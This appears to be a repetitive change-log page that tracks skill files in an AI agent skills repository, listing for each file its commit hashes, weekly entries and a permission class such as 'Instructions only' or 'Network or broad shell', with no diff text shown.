Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-monitor-opentelemetry-py/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-monitor-opentelemetry-ts/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-monitor-query-java/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-monitor-query-py/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-postgres-ts/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-resource-manager-cosmosdb-dotnet/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-resource-manager-durabletask-dotnet/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-resource-manager-mysql-dotnet/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-resource-manager-playwright-dotnet/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-resource-manager-postgresql-dotnet/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-resource-manager-redis-dotnet/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-resource-manager-sql-dotnet/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-search-documents-dotnet/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-search-documents-py/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-search-documents-ts/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-security-keyvault-keys-dotnet/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-security-keyvault-keys-java/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-security-keyvault-secrets-java/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-servicebus-dotnet/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-servicebus-py/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-servicebus-ts/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-speech-to-text-rest-py/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Network or broad shell

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-storage-blob-java/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-storage-blob-py/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-storage-blob-rust/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-storage-blob-ts/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-storage-file-datalake-py/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-storage-file-share-py/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-storage-file-share-ts/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-storage-queue-py/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-storage-queue-ts/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/azure-web-pubsub-ts/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Network or broad shell

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/backend-architect/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/backend-dev-guidelines/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/backend-development-feature-development/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/backend-security-coder/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/backtesting-frameworks/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/bamboohr-automation/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/basecamp-automation/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/bash-defensive-patterns/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Local scripts

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/bash-linux/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Network or broad shell

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/bash-pro/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Network or broad shell

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/bats-testing-patterns/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Network or broad shell

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/bazel-build-optimization/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Network or broad shell

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/beautiful-prose/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/behavioral-modes/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/billing-automation/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/binary-analysis-patterns/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/bitbucket-automation/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/blockchain-developer/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/blockrun/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Network or broad shell

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/box-automation/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/brainstorming/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/brand-guidelines-anthropic/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/brand-guidelines-community/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/brevo-automation/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/broken-authentication/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Network or broad shell

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/browser-automation/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/browser-extension-builder/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/bullmq-specialist/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/bun-development/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Network or broad shell

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/burp-suite-testing/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Network or broad shell

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/business-analyst/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/busybox-on-windows/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Network or broad shell

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/c-pro/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/c4-architecture-c4-architecture/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/c4-code/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/c4-component/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/c4-container/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/c4-context/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/cal-com-automation/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/calendly-automation/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/canva-automation/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → 5eea1bc9ead7

No earlier version was observed for comparison.

Compare on GitHub

skills/canvas-design/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

5eea1bc9ead7 → 785befcaceec

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

